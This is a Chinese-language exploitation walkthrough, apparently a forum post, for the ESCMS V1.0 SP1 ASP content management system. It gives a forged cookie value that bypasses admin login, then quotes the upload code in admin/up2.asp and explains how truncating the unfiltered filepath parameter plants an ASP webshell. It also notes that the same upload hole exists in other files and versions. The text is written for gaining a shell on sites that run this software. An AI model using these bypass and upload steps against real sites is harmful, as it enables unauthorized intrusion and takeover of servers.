版本:ESCMS V1.0 SP1 Build 1125
后台登陆验证是通过admin/check.asp实现的,看代码
<%
if Request.cookies(CookiesKey)("ES_admin")="" then
''注意这里哦,他是通过COOKIE验证ES_admin是否为空,我们可以伪造一个值,叫他不为空
''CookiesKey在inc/ESCMS_Config.asp文件中,默认为ESCMS$_SP2
Call Err_Show()
Response.End()
End if
......
%>
首先我们打开http://sitedir.com.cn/admin/es_index.html
然后在COOKIE结尾加上
; ESCMS$_SP2=ES_admin=st0p;
修改,然后刷新
进后台了嘎..
然后呢…提权,嘿嘿,admin/up2.asp,上传目录参数filepath过滤不严,导致可截断目录,生成SHELL,看代码
......
formPath=upload.form("filepath") ''此处没有过滤
if formPath="" then
formPath="../Upfile"
end if
Dim formPath1
formPath1="Upfile/"
''在目录后加(/)
if right(formPath,1)<>"/" then
formPath=formPath&"/"
end if
for each formName in upload.file ''列出所有上传了的文件
set file=upload.file(formName) ''生成一个文件对象
if file.filesize<100 then
response.write "请先选择你要上传的图片! [ <a href=# onclick=history.go(-1)>请重新上传</a> ]"
response.end
end if
fileExt=lcase(file.FileExt)
if CheckFileExt(fileEXT)=false then
response.write "文件格式不正确! [ <a href=# onclick=history.go(-1)>请重新上传</a> ]"
response.end
end if
''randomize
ranNum=int(90000*rnd)+10000
Dim tempname,temppath
tempname=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
temppath=formPath1&tempname
filename=formPath&tempname
if file.FileSize>0 then ''如果 FileSize > 0 说明有文件数据
result=file.SaveToFile(Server.mappath(filename)) ''保存文件,这里地址就会变成我们截断的SHELL名称
......
利用方法,可以抓包,然后改一下,NC上传,还可以直接用DOMAIN等工具提交.
成功了,shell地址为http://www.sitedir.com.cn/admin/diy.asp
存在这个上传问题的还有admin/downup.asp,不过好像作者的疏忽,没有引用inc/ESCMS_Config.asp,导致打开此页面失败..
在版本ESCMS V1.0 正式版中,同样存在上传问题admin/up2.asp和admin/downup.asp都可利用,只不过cookies欺骗不能用了,因为此版本用session来验证登陆…